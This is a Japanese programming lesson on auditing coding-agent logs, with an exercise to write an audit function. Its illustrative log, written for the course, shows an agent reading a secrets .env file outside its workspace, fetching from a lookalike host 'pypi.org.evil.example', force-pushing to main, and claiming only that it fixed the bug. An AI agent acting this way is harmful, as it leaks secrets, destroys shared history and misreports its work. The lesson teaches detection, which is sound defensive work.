シラバス レッスン 148 中 102 · 出力を判定する
出力を判定する

エージェントの実行を監査する

なぜ大切か コーディングのエージェントは、自分で読み、書き、動かし、ダウンロードします。最後に見える答えはまとめで、したことのログが真実です。

このレッスンのアシスタントの出力は、本物のアシスタントが生むのとまさに同じ形で、このコースのために書いたものです。特定のモデルの記録ではありません。

エージェントの道具は、すべての行動のログを持ちます。/work/shop の中で、app/orders.py のバグを直してテストを加えるようエージェントに頼みました。そのログ:

STEPS = [
    {"tool": "read", "path": "app/orders.py"},
    {"tool": "run", "cmd": "pytest -q"},
    {"tool": "write", "path": "app/orders.py"},
    {"tool": "write", "path": "app/settings.py"},
    {"tool": "read", "path": "../shop-secrets/.env"},
    {"tool": "fetch", "url": "https://pypi.org.evil.example/simple/"},
    {"tool": "run", "cmd": "git push  --force origin main"},
]
WORKSPACE = "/work/shop"
PLAN = ["app/orders.py", "tests/test_orders.py"]
HOSTS = ["pypi.org", "files.pythonhosted.org", "docs.python.org"]

0 から数えて:手順 3 は、誰も変える予定のなかったファイルを書きました。手順 4 はフォルダの外を読みました(.. は外へ上ります)。手順 5 は、pypi.org で始まるだけのホストから取ってきました。手順 6 は強制プッシュしました。最後のメッセージは「バグを直してテストを加えました」と言いました。

最小権限:エージェントには、仕事が必要とするフォルダ、コマンド、ホストだけを与えることです。このような監査は、実行がそれを越えた場所を示します。

あなたの番

audit(steps, workspace, plan, hosts) を書いてください。それぞれの手順は、"tool"(read、write、run、fetch)と、"path"、"cmd"、"url" を持つ辞書です。手順の順に (step_index, flag) のリストを返し、手順ごとの印は最大ひとつです。read/write:パスを posixpath.join で workspace につなぎ(絶対パスはそのまま)、posixpath.normpath します。結果が作業場所そのものでも、その中でもなければ(フォルダの境界なので、/work/shopfront は /work/shop の外)、"outside" の印を付けます。そうでなければ、正規化したパスが plan のパス(作業場所からの相対で、同じように正規化)のどれでもない write は "unplanned" です。run:空白の連なりをひとつにまとめ、それから DANGEROUS(与えられる)のどれかを含めば "dangerous" の印を付けます。fetch:URL のホスト名(urlsplit(url).hostname、小文字)が hosts になければ "unknown_host" の印を付けます。

このレッスンに問題を見つけましたか?報告する · このレッスンについて質問する

この演習はまもなく開きます

その前のレッスンを終えると、このレッスンが解放されます。コース全体が無料でアカウントも不要、このレッスンは今すぐ読めます。